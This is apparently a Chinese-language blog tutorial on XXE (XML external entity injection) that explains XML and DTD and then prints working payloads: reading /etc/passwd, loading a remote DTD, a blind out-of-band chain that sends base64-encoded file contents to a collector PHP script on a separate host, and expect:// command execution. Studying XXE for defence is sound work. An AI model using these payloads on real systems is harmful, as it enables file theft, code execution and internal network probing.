XXE漏洞

XXE

https://www.freebuf.com/column/181064.html

https://www.cnblogs.com/backlion/p/9302528.html

关于实体的解释(IBM中国):https://www.ibm.com/developerworks/cn/xml/x-entities/#N100F2

一、XXE漏洞的定义

​ XXE漏洞全称XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。

二、什么是XML

​ XML是一种可扩展的标记语言,主要用于传输数据。XML文档结构包括XML声明、 {DTD文档类型定义(可选)}、文档元素。

DUgB3d.png

三、什么是DTD

​ DTD(Document Type Declaration文档类型定义)定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD有两种声明方式:

1、内部 dtd:即对 XML 文档中的元素、属性和实体的 DTD 的声明都在 XML 文档中。

2、外部 dtd:即对 XML 文档中的元素、属性和实体的 DTD 的声明都在一个独立的DTD 文件(.dtd)中。

格式:

(1)内部声明

<!DOCTYPE 根元素 [元素声明]>

(2)外部声明

<!DOCTYPE 根元素 SYSTEM "文件名">

重要的关键字:

四、使用内部和外部DTD的XML实例

1、内部DTD的XML

DUgDgA.png

2、外部DTD的XML

DUg6DP.png

五、XXE漏洞详解

XXE漏洞即XML外部实体注入,分别理解一下注入和外部实体的含义。

注入:是指XML数据在传输过程中被修改,导致服务器执行了修改后的恶意代码,从而达到

攻击目的。

外部实体:则是指攻击者通过利用外部实体声明部分来对XML数据进行修改、插入恶意代码。

因此XXE漏洞就是指XML数据在传输过程中利用外部实体声明部分的”SYSTEM”或者”PUBLIC”关键词导致XML解析器可以从本地文件或者远程URI中读取数据

六、三种典型攻击手法

1、通过DTD外部实体声明

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE wang[
<!ENTITY a SYSTEM "file:///etc/passwd">
]>
<aaa>&a;</aaa>

2、通过DTD文档引入外部DTD文档,再引入外部实体声明

1
2
3
4
5
6
<?xml version="1.0"?>
<!DOCTYPE wang SYSTEM
"http://192.168.100.130/xxe/2.dtd">
<aaa>&f;</aaa>
DTD文件内容:
<!ENTITY f SYSTEM "file:///c://key.txt">

3、通过DTD外部参数实体声明引入外部实体文档,在引入外部实体声明

1
2
3
4
5
6
7
8
9
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM
"http://192.168.100130/xxe/2.dtd">
%file;
]>
<aaa>&f;</aaa>
外部实体声明内容:
<!ENTITY f SYSTEM "file:///c://key.txt">

七、不同语言支持的XML注入协议

DUgW4g.png

八、常见注入结果

1、正常回显XXE

正常回显XXE是最传统的XXE攻击,在利用过程中服务器会直接回显信息,可直接完成XXE攻击。

2、报错XXE

报错XXE是回显XXE攻击的一种特例,它与正常回显XXE的不同在于它在利用过程中服务器回显的是错误信息,可根据错误信息去分辨可利用的信息。

3、Blind XXE

当服务器没有回显,使用Blind XXE。Blind XXE主要使用了参数实体进行嵌套定义。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % dtd SYSTEM "http://192.168.100.130/xxe/1.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=c:/xxe.txt">
%dtd;
%send;
]>
1.dtd的内容
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://192.168.100.130/xxe/Get_Xxe.php?file=%file;'>">
%all;
Get_Xxe.php的内容
<?php
//简单的把GET过来的请求追加的保存在本地1.txt文件下
$txt = $_GET['file'];
if($txt)
{
$file = fopen( "1.txt" , "a+");
fwrite($file, "$txt". "\r\n");
print($txt);
fclose($file);
}
?>

九、XXE的利用

1、任意文件读取

2、XXE-RCE

​ XXE也能RCE 。但是,需要在特定场景下。当PHP安装了expect (PHP是不默认安装扩展),一旦安装了这个 expect 扩展我们就能直接利用 XXE 进行 RCE 。
示例代码:

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY cmd SYSTEM "expect://id">
]>
<dir><file>&cmd;</file></dir>

3、端口探测

XXE由于可以访问URL,也就有类似SSRF的攻击效果,同样的,也可以利用XXE来进行内网端口探测。

DUgzvR.png

DU2FUO.png

4、JSON XXE

​ 正如我们所知道的,很多web和移动应用都基于客户端-服务器交互模式的web通信服务。一般对于web服务来说,最常见的数据格式都是XML和JSON。尽管web服务可能在编程时只使用其中一种格式,但服务器却可以接受开发人员并没有预料到的其他数据格式,这就有可能会导致JSON节点受到XXE(XML外部实体)攻击。

当前网速较慢或者你使用的浏览器不支持博客特定功能,请尝试刷新或换用Chrome、Firefox等现代浏览器